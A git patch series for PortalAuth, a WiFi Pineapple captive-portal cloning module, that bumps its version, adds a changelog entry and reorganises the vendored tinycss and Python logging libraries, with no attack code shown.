    diff --git a/PortalAuth/module.info b/PortalAuth/module.info index 01128f1..c342f4c 100755 --- a/PortalAuth/module.info +++ b/PortalAuth/module.info @@ -6,5 +6,5 @@ "tetra" ], "title": "Portal Auth", - "version": "1.6" + "version": "1.7" } \ No newline at end of file From 299d105b227cf2607ac414bed9e93671e19a1fd5 Mon Sep 17 00:00:00 2001 From: sud0nick Date: Thu, 26 Jul 2018 23:36:37 -0400 Subject: [PATCH 10/12] Version 1.8 --- PortalAuth/README.md | 4 +- PortalAuth/includes/changelog/Version 1.8 | 3 + .../includes/scripts/libs/logging/__init__.py | 2654 +++--- .../includes/scripts/libs/logging/config.py | 620 +- .../includes/scripts/libs/tinycss/.coveragerc | 10 - .../includes/scripts/libs/tinycss/.gitignore | 12 - .../includes/scripts/libs/tinycss/.travis.yml | 16 - .../includes/scripts/libs/tinycss/CHANGES | 53 - .../includes/scripts/libs/tinycss/LICENSE | 31 - .../includes/scripts/libs/tinycss/MANIFEST.in | 3 - .../includes/scripts/libs/tinycss/PKG-INFO | 47 - .../includes/scripts/libs/tinycss/README.rst | 26 - .../libs/tinycss/{tinycss => }/__init__.py | 0 .../libs/tinycss/{tinycss => }/color3.py | 0 .../libs/tinycss/{tinycss => }/css21.py | 0 .../libs/tinycss/{tinycss => }/decoding.py | 0 .../libs/tinycss/docs/_static/custom.css | 24 - .../libs/tinycss/docs/_templates/layout.html | 4 - .../scripts/libs/tinycss/docs/changelog.rst | 1 - .../scripts/libs/tinycss/docs/conf.py | 252 - .../scripts/libs/tinycss/docs/css3.rst | 116 - .../scripts/libs/tinycss/docs/extending.rst | 97 - .../scripts/libs/tinycss/docs/hacking.rst | 117 - .../scripts/libs/tinycss/docs/index.rst | 50 - .../scripts/libs/tinycss/docs/parsing.rst | 97 - .../libs/tinycss/{tinycss => }/fonts3.py | 0 .../libs/tinycss/{tinycss => }/page3.py | 0 .../libs/tinycss/{tinycss => }/parsing.py | 0 .../includes/scripts/libs/tinycss/setup.cfg | 23 - .../includes/scripts/libs/tinycss/setup.py | 127 - .../includes/scripts/libs/tinycss/speedups.c | 7583 +++++++++++++++++ .../libs/tinycss/{tinycss => }/speedups.pyx | 0 .../tinycss/{tinycss => }/tests/__init__.py | 0 .../libs/tinycss/{tinycss => }/tests/speed.py | 0 .../tinycss/{tinycss => }/tests/test_api.py | 0 .../{tinycss => }/tests/test_color3.py | 0 .../tinycss/{tinycss => }/tests/test_css21.py | 0 .../{tinycss => }/tests/test_decoding.py | 0 .../{tinycss => }/tests/test_fonts3.py | 0 .../tinycss/{tinycss => }/tests/test_page3.py | 0 .../{tinycss => }/tests/test_tokenizer.py | 0 .../libs/tinycss/{tinycss => }/token_data.py | 0 .../libs/tinycss/{tinycss => }/tokenizer.py | 0 .../libs/tinycss/{tinycss => }/version.py | 0 PortalAuth/module.info | 4 +- 45 files changed, 9227 insertions(+), 2747 deletions(-) create mode 100644 PortalAuth/includes/changelog/Version 1.8 delete mode 100644 PortalAuth/includes/scripts/libs/tinycss/.coveragerc delete mode 100644 PortalAuth/includes/scripts/libs/tinycss/.gitignore delete mode 100644 PortalAuth/includes/scripts/libs/tinycss/.travis.yml delete mode 100644 PortalAuth/includes/scripts/libs/tinycss/CHANGES delete mode 100644 PortalAuth/includes/scripts/libs/tinycss/LICENSE delete mode 100644 PortalAuth/includes/scripts/libs/tinycss/MANIFEST.in delete mode 100644 PortalAuth/includes/scripts/libs/tinycss/PKG-INFO delete mode 100644 PortalAuth/includes/scripts/libs/tinycss/README.rst rename PortalAuth/includes/scripts/libs/tinycss/{tinycss => }/__init__.py (100%) rename PortalAuth/includes/scripts/libs/tinycss/{tinycss => }/color3.py (100%) rename PortalAuth/includes/scripts/libs/tinycss/{tinycss => }/css21.py (100%) rename PortalAuth/includes/scripts/libs/tinycss/{tinycss => }/decoding.py (100%) delete mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/_static/custom.css delete mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/_templates/layout.html delete mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/changelog.rst delete mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/conf.py delete mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/css3.rst delete mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/extending.rst delete mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/hacking.rst delete mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/index.rst delete mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/parsing.rst rename PortalAuth/includes/scripts/libs/tinycss/{tinycss => }/fonts3.py (100%) rename PortalAuth/includes/scripts/libs/tinycss/{tinycss => }/page3.py (100%) rename PortalAuth/includes/scripts/libs/tinycss/{tinycss => }/parsing.py (100%) delete mode 100644 PortalAuth/includes/scripts/libs/tinycss/setup.cfg delete mode 100644 PortalAuth/includes/scripts/libs/tinycss/setup.py create mode 100644 PortalAuth/includes/scripts/libs/tinycss/speedups.c rename PortalAuth/includes/scripts/libs/tinycss/{tinycss => }/speedups.pyx (100%) rename PortalAuth/includes/scripts/libs/tinycss/{tinycss => }/tests/__init__.py (100%) rename PortalAuth/includes/scripts/libs/tinycss/{tinycss => }/tests/speed.py (100%) rename PortalAuth/includes/scripts/libs/tinycss/{tinycss => }/tests/test_api.py (100%) rename PortalAuth/includes/scripts/libs/tinycss/{tinycss => }/tests/test_color3.py (100%) rename PortalAuth/includes/scripts/libs/tinycss/{tinycss => }/tests/test_css21.py (100%) rename PortalAuth/includes/scripts/libs/tinycss/{tinycss => }/tests/test_decoding.py (100%) rename PortalAuth/includes/scripts/libs/tinycss/{tinycss => }/tests/test_fonts3.py (100%) rename PortalAuth/includes/scripts/libs/tinycss/{tinycss => }/tests/test_page3.py (100%) rename PortalAuth/includes/scripts/libs/tinycss/{tinycss => }/tests/test_tokenizer.py (100%) rename PortalAuth/includes/scripts/libs/tinycss/{tinycss => }/token_data.py (100%) rename PortalAuth/includes/scripts/libs/tinycss/{tinycss => }/tokenizer.py (100%) rename PortalAuth/includes/scripts/libs/tinycss/{tinycss => }/version.py (100%) diff --git a/PortalAuth/README.md b/PortalAuth/README.md index 0c64461..0cb2418 100644 --- a/PortalAuth/README.md +++ b/PortalAuth/README.md @@ -1,2 +1,2 @@ -# PortalAuth -Captive portal cloner and payload distributor for the WiFi Pineapple NANO and TETRA +# PortalAuth +Captive portal cloner and payload distributor for the WiFi Pineapple NANO and TETRA diff --git a/PortalAuth/includes/changelog/Version 1.8 b/PortalAuth/includes/changelog/Version 1.8 new file mode 100644 index 0000000..03dd49a --- /dev/null +++ b/PortalAuth/includes/changelog/Version 1.8 @@ -0,0 +1,3 @@ +July 26, 2018 +

    + - Fixed tinycss lib reference
    diff --git a/PortalAuth/includes/scripts/libs/logging/__init__.py b/PortalAuth/includes/scripts/libs/logging/__init__.py index a01c623..0c23e82 100755 --- a/PortalAuth/includes/scripts/libs/logging/__init__.py +++ b/PortalAuth/includes/scripts/libs/logging/__init__.py @@ -1,1327 +1,1327 @@ -# Copyright 2001-2005 by Vinay Sajip. All Rights Reserved. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose and without fee is hereby granted, -# provided that the above copyright notice appear in all copies and that -# both that copyright notice and this permission notice appear in -# supporting documentation, and that the name of Vinay Sajip -# not be used in advertising or publicity pertaining to distribution -# of the software without specific, written prior permission. -# VINAY SAJIP DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING -# ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL -# VINAY SAJIP BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR -# ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER -# IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -""" -Logging package for Python. Based on PEP 282 and comments thereto in -comp.lang.python, and influenced by Apache's log4j system. - -Should work under Python versions >= 1.5.2, except that source line -information is not available unless 'sys._getframe()' is. - -Copyright (C) 2001-2004 Vinay Sajip. All Rights Reserved. - -To use, simply 'import logging' and log away! -""" - -import sys, os, types, time, string, cStringIO - -try: - import codecs -except ImportError: - codecs = None - -try: - import thread - import threading -except ImportError: - thread = None - -__author__ = "Vinay Sajip " -__status__ = "beta" -__version__ = "0.4.9.6" -__date__ = "02 March 2005" - -#--------------------------------------------------------------------------- -# Miscellaneous module data -#--------------------------------------------------------------------------- - -# -# _srcfile is used when walking the stack to check when we've got the first -# caller stack frame. -# -if string.lower(__file__[-4:]) in ['.pyc', '.pyo']: - _srcfile = __file__[:-4] + '.py' -else: - _srcfile = __file__ -_srcfile = os.path.normcase(_srcfile) - -# next bit filched from 1.5.2's inspect.py -def currentframe(): - """Return the frame object for the caller's stack frame.""" - try: - raise 'catch me' - except: - return sys.exc_traceback.tb_frame.f_back - -if hasattr(sys, '_getframe'): currentframe = sys._getframe -# done filching - -# _srcfile is only used in conjunction with sys._getframe(). -# To provide compatibility with older versions of Python, set _srcfile -# to None if _getframe() is not available; this value will prevent -# findCaller() from being called. -#if not hasattr(sys, "_getframe"): -# _srcfile = None - -# -#_startTime is used as the base when calculating the relative time of events -# -_startTime = time.time() - -# -#raiseExceptions is used to see if exceptions during handling should be -#propagated -# -raiseExceptions = 1 - -#--------------------------------------------------------------------------- -# Level related stuff -#--------------------------------------------------------------------------- -# -# Default levels and level names, these can be replaced with any positive set -# of values having corresponding names. There is a pseudo-level, NOTSET, which -# is only really there as a lower limit for user-defined levels. Handlers and -# loggers are initialized with NOTSET so that they will log all messages, even -# at user-defined levels. -# - -CRITICAL = 50 -FATAL = CRITICAL -ERROR = 40 -WARNING = 30 -WARN = WARNING -INFO = 20 -DEBUG = 10 -NOTSET = 0 - -_levelNames = { - CRITICAL : 'CRITICAL', - ERROR : 'ERROR', - WARNING : 'WARNING', - INFO : 'INFO', - DEBUG : 'DEBUG', - NOTSET : 'NOTSET', - 'CRITICAL' : CRITICAL, - 'ERROR' : ERROR, - 'WARN' : WARNING, - 'WARNING' : WARNING, - 'INFO' : INFO, - 'DEBUG' : DEBUG, - 'NOTSET' : NOTSET, -} - -def getLevelName(level): - """ - Return the textual representation of logging level 'level'. - - If the level is one of the predefined levels (CRITICAL, ERROR, WARNING, - INFO, DEBUG) then you get the corresponding string. If you have - associated levels with names using addLevelName then the name you have - associated with 'level' is returned. - - If a numeric value corresponding to one of the defined levels is passed - in, the corresponding string representation is returned. - - Otherwise, the string "Level %s" % level is returned. - """ - return _levelNames.get(level, ("Level %s" % level)) - -def addLevelName(level, levelName): - """ - Associate 'levelName' with 'level'. - - This is used when converting levels to text during message formatting. - """ - _acquireLock() - try: #unlikely to cause an exception, but you never know... - _levelNames[level] = levelName - _levelNames[levelName] = level - finally: - _releaseLock() - -#--------------------------------------------------------------------------- -# Thread-related stuff -#--------------------------------------------------------------------------- - -# -#_lock is used to serialize access to shared data structures in this module. -#This needs to be an RLock because fileConfig() creates Handlers and so -#might arbitrary user threads. Since Handler.__init__() updates the shared -#dictionary _handlers, it needs to acquire the lock. But if configuring, -#the lock would already have been acquired - so we need an RLock. -#The same argument applies to Loggers and Manager.loggerDict. -# -_lock = None - -def _acquireLock(): - """ - Acquire the module-level lock for serializing access to shared data. - - This should be released with _releaseLock(). - """ - global _lock - if (not _lock) and thread: - _lock = threading.RLock() - if _lock: - _lock.acquire() - -def _releaseLock(): - """ - Release the module-level lock acquired by calling _acquireLock(). - """ - if _lock: - _lock.release() - -#--------------------------------------------------------------------------- -# The logging record -#--------------------------------------------------------------------------- - -class LogRecord: - """ - A LogRecord instance represents an event being logged. - - LogRecord instances are created every time something is logged. They - contain all the information pertinent to the event being logged. The - main information passed in is in msg and args, which are combined - using str(msg) % args to create the message field of the record. The - record also includes information such as when the record was created, - the source line where the logging call was made, and any exception - information to be logged. - """ - def __init__(self, name, level, pathname, lineno, msg, args, exc_info): - """ - Initialize a logging record with interesting information. - """ - ct = time.time() - self.name = name - self.msg = msg - # - # The following statement allows passing of a dictionary as a sole - # argument, so that you can do something like - # logging.debug("a %(a)d b %(b)s", {'a':1, 'b':2}) - # Suggested by Stefan Behnel. - # Note that without the test for args[0], we get a problem because - # during formatting, we test to see if the arg is present using - # 'if self.args:'. If the event being logged is e.g. 'Value is %d' - # and if the passed arg fails 'if self.args:' then no formatting - # is done. For example, logger.warn('Value is %d', 0) would log - # 'Value is %d' instead of 'Value is 0'. - # For the use case of passing a dictionary, this should not be a - # problem. - if args and (len(args) == 1) and args[0] and (type(args[0]) == types.DictType): - args = args[0] - self.args = args - self.levelname = getLevelName(level) - self.levelno = level - self.pathname = pathname - try: - self.filename = os.path.basename(pathname) - self.module = os.path.splitext(self.filename)[0] - except: - self.filename = pathname - self.module = "Unknown module" - self.exc_info = exc_info - self.exc_text = None # used to cache the traceback text - self.lineno = lineno - self.created = ct - self.msecs = (ct - long(ct)) * 1000 - self.relativeCreated = (self.created - _startTime) * 1000 - if thread: - self.thread = thread.get_ident() - else: - self.thread = None - if hasattr(os, 'getpid'): - self.process = os.getpid() - else: - self.process = None - - def __str__(self): - return ''%(self.name, self.levelno, - self.pathname, self.lineno, self.msg) - - def getMessage(self): - """ - Return the message for this LogRecord. - - Return the message for this LogRecord after merging any user-supplied - arguments with the message. - """ - if not hasattr(types, "UnicodeType"): #if no unicode support... - msg = str(self.msg) - else: - try: - msg = str(self.msg) - except UnicodeError: - msg = self.msg #Defer encoding till later - if self.args: - msg = msg % self.args - return msg - -def makeLogRecord(dict): - """ - Make a LogRecord whose attributes are defined by the specified dictionary, - This function is useful for converting a logging event received over - a socket connection (which is sent as a dictionary) into a LogRecord - instance. - """ - rv = LogRecord(None, None, "", 0, "", (), None) - rv.__dict__.update(dict) - return rv - -#--------------------------------------------------------------------------- -# Formatter classes and functions -#--------------------------------------------------------------------------- - -class Formatter: - """ - Formatter instances are used to convert a LogRecord to text. - - Formatters need to know how a LogRecord is constructed. They are - responsible for converting a LogRecord to (usually) a string which can - be interpreted by either a human or an external system. The base Formatter - allows a formatting string to be specified. If none is supplied, the - default value of "%s(message)\\n" is used. - - The Formatter can be initialized with a format string which makes use of - knowledge of the LogRecord attributes - e.g. the default value mentioned - above makes use of the fact that the user's message and arguments are pre- - formatted into a LogRecord's message attribute. Currently, the useful - attributes in a LogRecord are described by: - - %(name)s Name of the logger (logging channel) - %(levelno)s Numeric logging level for the message (DEBUG, INFO, - WARNING, ERROR, CRITICAL) - %(levelname)s Text logging level for the message ("DEBUG", "INFO", - "WARNING", "ERROR", "CRITICAL") - %(pathname)s Full pathname of the source file where the logging - call was issued (if available) - %(filename)s Filename portion of pathname - %(module)s Module (name portion of filename) - %(lineno)d Source line number where the logging call was issued - (if available) - %(created)f Time when the LogRecord was created (time.time() - return value) - %(asctime)s Textual time when the LogRecord was created - %(msecs)d Millisecond portion of the creation time - %(relativeCreated)d Time in milliseconds when the LogRecord was created, - relative to the time the logging module was loaded - (typically at application startup time) - %(thread)d Thread ID (if available) - %(process)d Process ID (if available) - %(message)s The result of record.getMessage(), computed just as - the record is emitted - """ - - converter = time.localtime - - def __init__(self, fmt=None, datefmt=None): - """ - Initialize the formatter with specified format strings. - - Initialize the formatter either with the specified format string, or a - default as described above. Allow for specialized date formatting with - the optional datefmt argument (if omitted, you get the ISO8601 format). - """ - if fmt: - self._fmt = fmt - else: - self._fmt = "%(message)s" - self.datefmt = datefmt - - def formatTime(self, record, datefmt=None): - """ - Return the creation time of the specified LogRecord as formatted text. - - This method should be called from format() by a formatter which - wants to make use of a formatted time. This method can be overridden - in formatters to provide for any specific requirement, but the - basic behaviour is as follows: if datefmt (a string) is specified, - it is used with time.strftime() to format the creation time of the - record. Otherwise, the ISO8601 format is used. The resulting - string is returned. This function uses a user-configurable function - to convert the creation time to a tuple. By default, time.localtime() - is used; to change this for a particular formatter instance, set the - 'converter' attribute to a function with the same signature as - time.localtime() or time.gmtime(). To change it for all formatters, - for example if you want all logging times to be shown in GMT, - set the 'converter' attribute in the Formatter class. - """ - ct = self.converter(record.created) - if datefmt: - s = time.strftime(datefmt, ct) - else: - t = time.strftime("%Y-%m-%d %H:%M:%S", ct) - s = "%s,%03d" % (t, record.msecs) - return s - - def formatException(self, ei): - """ - Format and return the specified exception information as a string. - - This default implementation just uses - traceback.print_exception() - """ - import traceback - sio = cStringIO.StringIO() - traceback.print_exception(ei[0], ei[1], ei[2], None, sio) - s = sio.getvalue() - sio.close() - if s[-1] == "\n": - s = s[:-1] - return s - - def format(self, record): - """ - Format the specified record as text. - - The record's attribute dictionary is used as the operand to a - string formatting operation which yields the returned string. - Before formatting the dictionary, a couple of preparatory steps - are carried out. The message attribute of the record is computed - using LogRecord.getMessage(). If the formatting string contains - "%(asctime)", formatTime() is called to format the event time. - If there is exception information, it is formatted using - formatException() and appended to the message. - """ - record.message = record.getMessage() - if string.find(self._fmt,"%(asctime)") >= 0: - record.asctime = self.formatTime(record, self.datefmt) - s = self._fmt % record.__dict__ - if record.exc_info: - # Cache the traceback text to avoid converting it multiple times - # (it's constant anyway) - if not record.exc_text: - record.exc_text = self.formatException(record.exc_info) - if record.exc_text: - if s[-1] != "\n": - s = s + "\n" - s = s + record.exc_text - return s - -# -# The default formatter to use when no other is specified -# -_defaultFormatter = Formatter() - -class BufferingFormatter: - """ - A formatter suitable for formatting a number of records. - """ - def __init__(self, linefmt=None): - """ - Optionally specify a formatter which will be used to format each - individual record. - """ - if linefmt: - self.linefmt = linefmt - else: - self.linefmt = _defaultFormatter - - def formatHeader(self, records): - """ - Return the header string for the specified records. - """ - return "" - - def formatFooter(self, records): - """ - Return the footer string for the specified records. - """ - return "" - - def format(self, records): - """ - Format the specified records and return the result as a string. - """ - rv = "" - if len(records) > 0: - rv = rv + self.formatHeader(records) - for record in records: - rv = rv + self.linefmt.format(record) - rv = rv + self.formatFooter(records) - return rv - -#--------------------------------------------------------------------------- -# Filter classes and functions -#--------------------------------------------------------------------------- - -class Filter: - """ - Filter instances are used to perform arbitrary filtering of LogRecords. - - Loggers and Handlers can optionally use Filter instances to filter - records as desired. The base filter class only allows events which are - below a certain point in the logger hierarchy. For example, a filter - initialized with "A.B" will allow events logged by loggers "A.B", - "A.B.C", "A.B.C.D", "A.B.D" etc. but not "A.BB", "B.A.B" etc. If - initialized with the empty string, all events are passed. - """ - def __init__(self, name=''): - """ - Initialize a filter. - - Initialize with the name of the logger which, together with its - children, will have its events allowed through the filter. If no - name is specified, allow every event. - """ - self.name = name - self.nlen = len(name) - - def filter(self, record): - """ - Determine if the specified record is to be logged. - - Is the specified record to be logged? Returns 0 for no, nonzero for - yes. If deemed appropriate, the record may be modified in-place. - """ - if self.nlen == 0: - return 1 - elif self.name == record.name: - return 1 - elif string.find(record.name, self.name, 0, self.nlen) != 0: - return 0 - return (record.name[self.nlen] == ".") - -class Filterer: - """ - A base class for loggers and handlers which allows them to share - common code. - """ - def __init__(self): - """ - Initialize the list of filters to be an empty list. - """ - self.filters = [] - - def addFilter(self, filter): - """ - Add the specified filter to this handler. - """ - if not (filter in self.filters): - self.filters.append(filter) - - def removeFilter(self, filter): - """ - Remove the specified filter from this handler. - """ - if filter in self.filters: - self.filters.remove(filter) - - def filter(self, record): - """ - Determine if a record is loggable by consulting all the filters. - - The default is to allow the record to be logged; any filter can veto - this and the record is then dropped. Returns a zero value if a record - is to be dropped, else non-zero. - """ - rv = 1 - for f in self.filters: - if not f.filter(record): - rv = 0 - break - return rv - -#--------------------------------------------------------------------------- -# Handler classes and functions -#--------------------------------------------------------------------------- - -_handlers = {} #repository of handlers (for flushing when shutdown called) - -class Handler(Filterer): - """ - Handler instances dispatch logging events to specific destinations. - - The base handler class. Acts as a placeholder which defines the Handler - interface. Handlers can optionally use Formatter instances to format - records as desired. By default, no formatter is specified; in this case, - the 'raw' message as determined by record.message is logged. - """ - def __init__(self, level=NOTSET): - """ - Initializes the instance - basically setting the formatter to None - and the filter list to empty. - """ - Filterer.__init__(self) - self.level = level - self.formatter = None - #get the module data lock, as we're updating a shared structure. - _acquireLock() - try: #unlikely to raise an exception, but you never know... - _handlers[self] = 1 - finally: - _releaseLock() - self.createLock() - - def createLock(self): - """ - Acquire a thread lock for serializing access to the underlying I/O. - """ - if thread: - self.lock = thread.allocate_lock() - else: - self.lock = None - - def acquire(self): - """ - Acquire the I/O thread lock. - """ - if self.lock: - self.lock.acquire() - - def release(self): - """ - Release the I/O thread lock. - """ - if self.lock: - self.lock.release() - - def setLevel(self, level): - """ - Set the logging level of this handler. - """ - self.level = level - - def format(self, record): - """ - Format the specified record. - - If a formatter is set, use it. Otherwise, use the default formatter - for the module. - """ - if self.formatter: - fmt = self.formatter - else: - fmt = _defaultFormatter - return fmt.format(record) - - def emit(self, record): - """ - Do whatever it takes to actually log the specified logging record. - - This version is intended to be implemented by subclasses and so - raises a NotImplementedError. - """ - raise NotImplementedError, 'emit must be implemented '\ - 'by Handler subclasses' - - def handle(self, record): - """ - Conditionally emit the specified logging record. - - Emission depends on filters which may have been added to the handler. - Wrap the actual emission of the record with acquisition/release of - the I/O thread lock. Returns whether the filter passed the record for - emission. - """ - rv = self.filter(record) - if rv: - self.acquire() - try: - self.emit(record) - finally: - self.release() - return rv - - def setFormatter(self, fmt): - """ - Set the formatter for this handler. - """ - self.formatter = fmt - - def flush(self): - """ - Ensure all logging output has been flushed. - - This version does nothing and is intended to be implemented by - subclasses. - """ - pass - - def close(self): - """ - Tidy up any resources used by the handler. - - This version does removes the handler from an internal list - of handlers which is closed when shutdown() is called. Subclasses - should ensure that this gets called from overridden close() - methods. - """ - #get the module data lock, as we're updating a shared structure. - _acquireLock() - try: #unlikely to raise an exception, but you never know... - del _handlers[self] - finally: - _releaseLock() - - def handleError(self, record): - """ - Handle errors which occur during an emit() call. - - This method should be called from handlers when an exception is - encountered during an emit() call. If raiseExceptions is false, - exceptions get silently ignored. This is what is mostly wanted - for a logging system - most users will not care about errors in - the logging system, they are more interested in application errors. - You could, however, replace this with a custom handler if you wish. - The record which was being processed is passed in to this method. - """ - if raiseExceptions: - import traceback - ei = sys.exc_info() - traceback.print_exception(ei[0], ei[1], ei[2], None, sys.stderr) - del ei - -class StreamHandler(Handler): - """ - A handler class which writes logging records, appropriately formatted, - to a stream. Note that this class does not close the stream, as - sys.stdout or sys.stderr may be used. - """ - def __init__(self, strm=None): - """ - Initialize the handler. - - If strm is not specified, sys.stderr is used. - """ - Handler.__init__(self) - if not strm: - strm = sys.stderr - self.stream = strm - self.formatter = None - - def flush(self): - """ - Flushes the stream. - """ - self.stream.flush() - - def emit(self, record): - """ - Emit a record. - - If a formatter is specified, it is used to format the record. - The record is then written to the stream with a trailing newline - [N.B. this may be removed depending on feedback]. If exception - information is present, it is formatted using - traceback.print_exception and appended to the stream. - """ - try: - msg = self.format(record) - fs = "%s\n" - if not hasattr(types, "UnicodeType"): #if no unicode support... - self.stream.write(fs % msg) - else: - try: - self.stream.write(fs % msg) - except UnicodeError: - self.stream.write(fs % msg.encode("UTF-8")) - self.flush() - except: - self.handleError(record) - -class FileHandler(StreamHandler): - """ - A handler class which writes formatted logging records to disk files. - """ - def __init__(self, filename, mode='a', encoding=None): - """ - Open the specified file and use it as the stream for logging. - """ - if codecs is None: - encoding = None - if encoding is None: - stream = open(filename, mode) - else: - stream = codecs.open(filename, mode, encoding) - StreamHandler.__init__(self, stream) - #keep the absolute path, otherwise derived classes which use this - #may come a cropper when the current directory changes - self.baseFilename = os.path.abspath(filename) - self.mode = mode - - def close(self): - """ - Closes the stream. - """ - self.flush() - self.stream.close() - StreamHandler.close(self) - -#--------------------------------------------------------------------------- -# Manager classes and functions -#--------------------------------------------------------------------------- - -class PlaceHolder: - """ - PlaceHolder instances are used in the Manager logger hierarchy to take - the place of nodes for which no loggers have been defined. This class is - intended for internal use only and not as part of the public API. - """ - def __init__(self, alogger): - """ - Initialize with the specified logger being a child of this placeholder. - """ - self.loggers = [alogger] - - def append(self, alogger): - """ - Add the specified logger as a child of this placeholder. - """ - if alogger not in self.loggers: - self.loggers.append(alogger) - -# -# Determine which class to use when instantiating loggers. -# -_loggerClass = None - -def setLoggerClass(klass): - """ - Set the class to be used when instantiating a logger. The class should - define __init__() such that only a name argument is required, and the - __init__() should call Logger.__init__() - """ - if klass != Logger: - if not issubclass(klass, Logger): - raise TypeError, "logger not derived from logging.Logger: " + \ - klass.__name__ - global _loggerClass - _loggerClass = klass - -def getLoggerClass(): - """ - Return the class to be used when instantiating a logger. - """ - - return _loggerClass - -class Manager: - """ - There is [under normal circumstances] just one Manager instance, which - holds the hierarchy of loggers. - """ - def __init__(self, rootnode): - """ - Initialize the manager with the root node of the logger hierarchy. - """ - self.root = rootnode - self.disable = 0 - self.emittedNoHandlerWarning = 0 - self.loggerDict = {} - - def getLogger(self, name): - """ - Get a logger with the specified name (channel name), creating it - if it doesn't yet exist. This name is a dot-separated hierarchical - name, such as "a", "a.b", "a.b.c" or similar. - - If a PlaceHolder existed for the specified name [i.e. the logger - didn't exist but a child of it did], replace it with the created - logger and fix up the parent/child references which pointed to the - placeholder to now point to the logger. - """ - rv = None - _acquireLock() - try: - if self.loggerDict.has_key(name): - rv = self.loggerDict[name] - if isinstance(rv, PlaceHolder): - ph = rv - rv = _loggerClass(name) - rv.manager = self - self.loggerDict[name] = rv - self._fixupChildren(ph, rv) - self._fixupParents(rv) - else: - rv = _loggerClass(name) - rv.manager = self - self.loggerDict[name] = rv - self._fixupParents(rv) - finally: - _releaseLock() - return rv - - def _fixupParents(self, alogger): - """ - Ensure that there are either loggers or placeholders all the way - from the specified logger to the root of the logger hierarchy. - """ - name = alogger.name - i = string.rfind(name, ".") - rv = None - while (i > 0) and not rv: - substr = name[:i] - if not self.loggerDict.has_key(substr): - self.loggerDict[substr] = PlaceHolder(alogger) - else: - obj = self.loggerDict[substr] - if isinstance(obj, Logger): - rv = obj - else: - assert isinstance(obj, PlaceHolder) - obj.append(alogger) - i = string.rfind(name, ".", 0, i - 1) - if not rv: - rv = self.root - alogger.parent = rv - - def _fixupChildren(self, ph, alogger): - """ - Ensure that children of the placeholder ph are connected to the - specified logger. - """ - for c in ph.loggers: - if string.find(c.parent.name, alogger.name) <> 0: - alogger.parent = c.parent - c.parent = alogger - -#--------------------------------------------------------------------------- -# Logger classes and functions -#--------------------------------------------------------------------------- - -class Logger(Filterer): - """ - Instances of the Logger class represent a single logging channel. A - "logging channel" indicates an area of an application. Exactly how an - "area" is defined is up to the application developer. Since an - application can have any number of areas, logging channels are identified - by a unique string. Application areas can be nested (e.g. an area - of "input processing" might include sub-areas "read CSV files", "read - XLS files" and "read Gnumeric files"). To cater for this natural nesting, - channel names are organized into a namespace hierarchy where levels are - separated by periods, much like the Java or Python package namespace. So - in the instance given above, channel names might be "input" for the upper - level, and "input.csv", "input.xls" and "input.gnu" for the sub-levels. - There is no arbitrary limit to the depth of nesting. - """ - def __init__(self, name, level=NOTSET): - """ - Initialize the logger with a name and an optional level. - """ - Filterer.__init__(self) - self.name = name - self.level = level - self.parent = None - self.propagate = 1 - self.handlers = [] - self.disabled = 0 - - def setLevel(self, level): - """ - Set the logging level of this logger. - """ - self.level = level - - def debug(self, msg, *args, **kwargs): - """ - Log 'msg % args' with severity 'DEBUG'. - - To pass exception information, use the keyword argument exc_info with - a true value, e.g. - - logger.debug("Houston, we have a %s", "thorny problem", exc_info=1) - """ - if self.manager.disable >= DEBUG: - return - if DEBUG >= self.getEffectiveLevel(): - apply(self._log, (DEBUG, msg, args), kwargs) - - def info(self, msg, *args, **kwargs): - """ - Log 'msg % args' with severity 'INFO'. - - To pass exception information, use the keyword argument exc_info with - a true value, e.g. - - logger.info("Houston, we have a %s", "interesting problem", exc_info=1) - """ - if self.manager.disable >= INFO: - return - if INFO >= self.getEffectiveLevel(): - apply(self._log, (INFO, msg, args), kwargs) - - def warning(self, msg, *args, **kwargs): - """ - Log 'msg % args' with severity 'WARNING'. - - To pass exception information, use the keyword argument exc_info with - a true value, e.g. - - logger.warning("Houston, we have a %s", "bit of a problem", exc_info=1) - """ - if self.manager.disable >= WARNING: - return - if self.isEnabledFor(WARNING): - apply(self._log, (WARNING, msg, args), kwargs) - - warn = warning - - def error(self, msg, *args, **kwargs): - """ - Log 'msg % args' with severity 'ERROR'. - - To pass exception information, use the keyword argument exc_info with - a true value, e.g. - - logger.error("Houston, we have a %s", "major problem", exc_info=1) - """ - if self.manager.disable >= ERROR: - return - if self.isEnabledFor(ERROR): - apply(self._log, (ERROR, msg, args), kwargs) - - def exception(self, msg, *args): - """ - Convenience method for logging an ERROR with exception information. - """ - apply(self.error, (msg,) + args, {'exc_info': 1}) - - def critical(self, msg, *args, **kwargs): - """ - Log 'msg % args' with severity 'CRITICAL'. - - To pass exception information, use the keyword argument exc_info with - a true value, e.g. - - logger.critical("Houston, we have a %s", "major disaster", exc_info=1) - """ - if self.manager.disable >= CRITICAL: - return - if CRITICAL >= self.getEffectiveLevel(): - apply(self._log, (CRITICAL, msg, args), kwargs) - - fatal = critical - - def log(self, level, msg, *args, **kwargs): - """ - Log 'msg % args' with the integer severity 'level'. - - To pass exception information, use the keyword argument exc_info with - a true value, e.g. - - logger.log(level, "We have a %s", "mysterious problem", exc_info=1) - """ - if type(level) != types.IntType: - if raiseExceptions: - raise TypeError, "level must be an integer" - else: - return - if self.manager.disable >= level: - return - if self.isEnabledFor(level): - apply(self._log, (level, msg, args), kwargs) - - def findCaller(self): - """ - Find the stack frame of the caller so that we can note the source - file name, line number and function name. - """ - f = currentframe().f_back - while 1: - co = 